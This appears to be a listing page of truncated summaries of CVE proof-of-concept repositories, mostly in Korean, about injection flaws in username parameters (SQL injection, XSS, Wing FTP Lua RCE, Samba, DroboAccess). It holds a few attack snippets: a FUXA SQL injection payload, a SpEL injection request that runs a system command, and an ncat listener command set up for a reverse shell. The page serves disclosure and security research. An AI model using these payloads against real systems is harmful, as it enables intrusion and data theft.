CVE-2021-46108

CVE-2021-46108 ██╗ ██╗███████╗███████╗ ╚██╗██╔╝██╔════╝██╔════╝ ╚███╔╝ ███████╗███████╗ ██╔██╗ ╚════██║╚════██║ ██╔╝ ██╗███████║███████║ ╚═╝ ╚═╝╚══════╝╚══════╝ D-Link Router DSL-2730E - Stored Cross Site Scripting D-Link DSL-2730E CT-20131125 장치는 유지보수 구성의 비밀번호 페이지에서 username 매개변수를 통해 XSS를 허용합니다...

CVE-2021-40353

CVE-2021-40353 CVE-2021-40353 openSIS 8.0 SQL 주입 취약점 https://vulners.com/cve/CVE-2021-40353 MySQL 또는 MariaDB가 애플리케이션 데이터베이스로 사용될 때 openSIS 8.0 버전에 SQL 주입 취약점이 존재합니다. 공격자는 USERNAME 매개변수를 통해 SQL 명령을 실행할 수 있습니다. 취약한 PHP 페이지: index.php - USERNAME 매개변수 취약한 페이로드 ' - 데이터베이스 정보와 함께 오류를 발생시킵니다 " - 오류를 발생시...

CVE-2025-47812-poC

CVE-2025-47812-poC Wing FTP Server RCE CVE-2025-47812에 대한 간단한 익스플로잇으로, 명령 실행 및 리버스 셸 획득이 가능합니다. 교육용으로만 사용하세요. 취약점 상세 정보 이 보안 취약점은 RCESecurityhttps://www.rcesecurity.com/2025/06/what-the-null-wing-ftp-server-rce-cve-2025-47812/에 의해 공개적으로 공개되고 상세히 설명되었습니다. 익스플로잇은 교육 및 테스트 목적으로 제가 직접 개발했습니다. 저는 이 취약...

CVE-2025-47812

CVE-2025-47812 이것은 Wing FTP Server 익스플로잇CVE-2025-47812의 개념 증명PoC입니다. 설명 Wing FTP Server 7.4.4 이전 버전은 사용자 이름 매개변수의 안전하지 않은 처리로 인해 원격 코드 실행RCE 취약점이 존재합니다. /loginok.html 페이지에서 로그인이 허용될 때, 널 바이트 %00 뒤에 Lua 코드를 주입하여 RCE를 달성할 수 있습니다. 배경 사건 /loginok.html 페이지에 POST 요청을 보내면, cCheckUser 함수올바른 사용자 이름과 비밀번호를...

CVE-2025-47812

CVE-2025-47812 – Wing FTP Server Lua 주입을 통한 RCE 작성자: 0xgh057r3c0n 🧠 설명 이 익스플로잇은 Wing FTP Server 의 로그인 핸들러loginok.html의 Lua 주입 취약점을 이용하여 임의의 운영 체제 명령을 실행하거나 리버스 셸을 획득합니다. username 매개변수를 통해 정제되지 않은 Lua 코드 실행을 악용합니다. 📦 요구 사항 Python 3.6 이상 pip3 Python 패키지 다음 명령으로 필수 패키지를 설치합니다: pip3 install -r...

CVE-2026-36227

CVE-2026-36227: Easy Chat Server 3.1 UserName 경로 탐색 PoC 이 저장소는 Easy Chat Server 3.1 사용자 등록 처리에서 발생하는 경로 탐색 문제인 CVE-2026-36227에 대한 무해한 개념 증명을 포함합니다. 이 저장소는 승인된 보안 연구 및 로컬 재현 전용입니다. 소유하지 않았거나 명시적 테스트 권한이 없는 시스템에 사용하지 마십시오. 요약 Easy Chat Server 3.1은 POST /registresult.htm을 통해 등록 데이터를 수락합니다. UserName...

autocrack

AUTOCRACK.py This python script is a Hashcat https://hashcat.net wrapper to help automate the cracking process. The script includes multiple functions to select a set of wordlists and rules, as well as the ability to run a bruteforce attack, with custom masks, before the wordlist/rule attacks...

CVE-2024-44541

CVE-2024-44541: Inventio Lite v4의 SQL 인젝션 취약점 설명 Inventio Lite v4는 /action=processlogin 엔드포인트에서 SQL 인젝션SQLi에 취약합니다. 이 취약점으로 인해 공격자는 POST 요청의 username 매개변수를 통해 임의의 SQL 쿼리를 주입할 수 있으며, 잠재적으로 비인가 액세스 및 데이터 추출로 이어질 수 있습니다. 취약한 코드 취약한 코드는 다음과 같습니다: if!isset$SESSION"userid" $user = $POST'username'; $pas...

WingFTP-CVE-2025-47812-illdeed

CVE-2025-47812 - Wing FTP Server RCE 익스플로잇 이 저장소는 CVE-2025-47812 에 대한 개념 증명 익스플로잇을 제공합니다. 이는 Wing FTP Server 의 원격 명령 실행RCE 취약점입니다. 공격자는 인증 중 username 매개변수를 악용하여 임의의 Lua 기반 시스템 명령을 주입하고 실행할 수 있으며, 이로 인해 완전한 원격 코드 실행이 가능합니다. 📌 익스플로잇 기능 🔧 사용자 정의 셸 명령의 원격 실행 🧬 다양한 내장 리버스 셸 페이로드 bash, Python, netcat 등...

cve-2022-22980

spring-data-mongodb-cve-2022-22980-exp 계륵 같은 취약점, 그냥 기록용. 1. redis 실행, 27017 포트 2. 프로젝트 실행, springboot는 6666 포트에서 실행 3. GET /v1/user/get?username=Tjava.lang.Runtime.getRuntime.exec'open+-a+calculator.app' HTTP/1.1 Host: localhost:6666 Accept-Encoding: gzip, deflate Accept: / Accept-Language:...

Zoo Management System 1.0 - SQL Injection

Zoo Management System 1.0 contains a SQL injection vulnerability via the username parameter on the login page. An attacker can possibly obtain sensitive information from a database, modify data, and execute unauthorized administrative operations in the context of the affected site. id:...

CVE-2023-31719

CVE-2023-31719 JSON 매개변수 "username"에 SQL 코드를 주입하는 것이 가능하며, 이는 /api/signin 엔드포인트로 HTTP POST 요청을 통해 이루어집니다. "username":"test' OR 2891=LIKECHAR65,66,67,68,69,70,71,UPPERHEXRANDOMBLOB500000000/2-- ZJMj","password":"test" 영향받는 제품명: FUXA 영향받는 버전: = 1.1.12 문제: SQL Injection 설명: JSON 매개변수 "username"에 SQL...

CVE-2018-14699

CVE-2018-14699 DroboAccess v2.1의 enableuser 함수에서의 인증되지 않은 명령 주입 사용법: 사용하려면 먼저 리스너를 시작하세요 ncat -nvlp 1337 그런 다음 익스플로잇을 실행하세요 예시: exploit.py -t 192.168.1.122:8080 -l 192.168.1.2 -p 1337 '-t', '--target', help='익스플로잇을 위한 호스트, 예: 192.168.1.122:8080',required=True '-l', '--listener-ip', help='리스너 IP',...

Red-Planet-Laundry-Management-System-1.0-is-vulnerable-to-SQL

Red-Planet-Laundry-Management-System-1.0-SQL 취약점 존재 https://vulners.com/cve/CVE-2022-28452 https://nvd.nist.gov/view/vuln/detail?vulnId=CVE-2022-28452 https://laundry.redplanetcomputers.com/ 1-설명: Red Planet Laundry Management System 1.0은 /index.php/login/rediract 에서 'username' 매개변수를 통해 SQL 주입에...

CVE-2024-12484

CVE CVE-poc 문제 유형 SQL 인젝션 근본 원인 “Technical Forum Using PHP Source Code” 프로젝트의 /signuppost.php 파일에서 SQL 인젝션 취약점이 발견되었습니다. 취약점은 공격자가 로그인 사용자 이름 매개변수를 통해 악성 코드를 주입할 수 있고, 해당 매개변수를 검증 없이 SQL 쿼리에 직접 사용할 수 있다는 사실에서 비롯됩니다. 이로 인해 공격자는 입력 값을 변조하여 SQL 쿼리를 조작하고 무단 작업을 수행할 수 있습니다. 영향 공격자는 이 SQL 인젝션 취약점을 악용하여...

Blackash-CVE-2025-47812

🛡️ CVE-2025-47812 – Wing FTP Server의 치명적 RCE 🛡️ 🔎 개요: CVE-2025-47812는 Wing FTP Server 7.4.4 이전 버전에 영향을 미치는 치명적인 원격 코드 실행RCE 취약점입니다. 보안 연구원에 의해 발견되었으며, 실제 환경에서 적극적으로 악용 되고 있는 것으로 확인되었습니다. 🧱 근본 원인: 이 취약점은 Wing FTP Server의 인증 로직 , 특히 username 매개변수의 널 바이트\0 처리 방식에 존재합니다. 공격자는 username 필드를 통해 임의의 Lua 코드...

CVE-2024-25411

CVE-2024-25411 Flatpress v1.3의 교차 사이트 스크립팅XSS 취약점으로, 공격자가 setup.php의 username 매개변수에 조작된 페이로드를 삽입하여 임의의 웹 스크립트 또는 HTML을 실행할 수 있습니다. 취약점 유형 : 교차 사이트 스크립팅 XSS 제품 공급업체 : https://github.com/flatpressblog/flatpress 영향받는 제품 코드 베이스: 영향받는 버전 : FlatPress 1.2.1 최신 - FlatPress 버전 1.3에서 수정될 예정입니다. 영향받는 구성 요소:...

PoC-CVE-2024-44349

PoC-CVE-2024-44349 취약점이 발견되어 Anteeo WMS - v4.7.31 에서 테스트되었습니다. 이 취약점은 공격자가 username 파라미터 내에 SQL 명령을 조작하여 기본 데이터베이스의 데이터를 유출할 수 있게 합니다. 영향을 받는 ANTEEO B2B WMS 버전은 v.4.7.x부터 v.4.7.34 미만입니다. 사용법 1. git clone [email protected]:AndreaF17/PoC-CVE-2024-44349.git 2. cd PoC-CVE-2024-44349 3. python3 -...

cve-2007-2447

CVE-2007-2447 요구 사항 pysmb 정보 CVE-2007-2447은 Samba 3.0.0부터 3.0.25rc3까지의 버전에 영향을 미칩니다. 이 취약점으로 인해 공격자는 username 매개변수에서 셸 명령을 실행할 수 있습니다. 사용 방법 원하는 리스닝 포트를 열고, 스크립트의 변수를 설정한 후 스크립트를 실행하세요...

Loan Management System 1.0 - SQL Injection

Loan Management System 1.0 contains a SQL injection vulnerability via the username parameter. An attacker can possibly obtain sensitive information from a database, modify data, and execute unauthorized administrative operations in the context of the affected site. id: CVE-2025-9744 info: name:...